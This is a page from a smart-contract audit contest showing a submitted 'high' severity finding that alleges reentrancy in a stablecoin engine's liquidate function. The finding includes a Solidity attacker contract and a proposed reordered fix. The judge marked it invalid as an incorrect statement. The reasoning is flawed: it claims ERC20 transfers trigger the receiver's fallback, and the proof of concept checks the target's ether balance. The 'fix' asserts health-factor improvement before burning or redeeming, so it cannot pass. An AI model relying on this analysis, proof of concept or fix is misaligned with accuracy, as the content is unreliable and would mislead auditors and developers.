Algo Ssstablecoinsss

First Flight #30
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: high
Invalid

The function _redeem_collateral is vulnerable to reentrancy attacks.

Summary

The goal of the liquidate function is to manage the liquidation process for a user who has a collateralized debt position. It ensures that if a user's health factor (a measure of their collateral's ability to cover their debt) falls below a minimum threshold, their collateral is sold off to cover their debt.

Vulnerability Details

In function is code:

...
self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)
self._burn_dsc(debt_to_cover, user, msg.sender)
ending_user_health_factor: uint256 = self._health_factor(user)
assert (
ending_user_health_factor > starting_user_health_factor
), "DSCEngine__HealthFactorNotImproved"
self._revert_if_health_factor_is_broken(msg.sender)
...

In the _redeem_collateral function, tokens equivalent to token_amount_from_debt_covered + bonus_collateral are transferred to an address. After this transfer, the _burn_dsc function is called to burn DSC tokens. At the end of the function, the _health_factor is checked. If the health factor is breached, the function reverts. This function does not follow the Check-Effects-Interactions (CEI) pattern. In the context of ERC20 tokens, functions like receive can be used during liquidation to completely steal funds from the contract.

POC

pragma solidity ^0.8.0;
interface ILiquidate {
function liquidate(address collateral, address user, uint256 debt_to_cover) external;
}
contract ReentrancyAttack {
ILiquidate public target;
address public collateral;
address public victim;
uint256 public debtToCover;
constructor(address _target, address _collateral, address _victim, uint256 _debtToCover) {
target = ILiquidate(_target);
collateral = _collateral;
victim = _victim;
debtToCover = _debtToCover;
}
// Fallback function to trigger reentrancy
fallback() external payable {
if (address(target).balance >= debtToCover) {
target.liquidate(collateral, victim, debtToCover);
}
}
function attack() external {
target.liquidate(collateral, victim, debtToCover);
}
}

Impact

Thanks to reentrancy attacks all token funds from the protocol can be steal.

Tools Used

manual review

Recommendations

Please follow CEI pattern:

@external
def liquidate(collateral: address, user: address, debt_to_cover: uint256):
assert debt_to_cover > 0, "DSCEngine__NeedsMoreThanZero"
starting_user_health_factor: uint256 = self._health_factor(user)
assert (starting_user_health_factor < MIN_HEALTH_FACTOR), "DSCEngine__HealthFactorOk"
token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(collateral, debt_to_cover)
bonus_collateral: uint256 = (token_amount_from_debt_covered * LIQUIDATION_BONUS) // LIQUIDATION_PRECISION
self._revert_if_health_factor_is_broken(msg.sender)
ending_user_health_factor: uint256 = self._health_factor(user)
assert (ending_user_health_factor > starting_user_health_factor), "DSCEngine__HealthFactorNotImproved"
self._burn_dsc(debt_to_cover, user, msg.sender)
self._redeem_collateral(collateral, token_amount_from_debt_covered + bonus_collateral, user, msg.sender)
Updates

Lead Judging Commences

bube Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.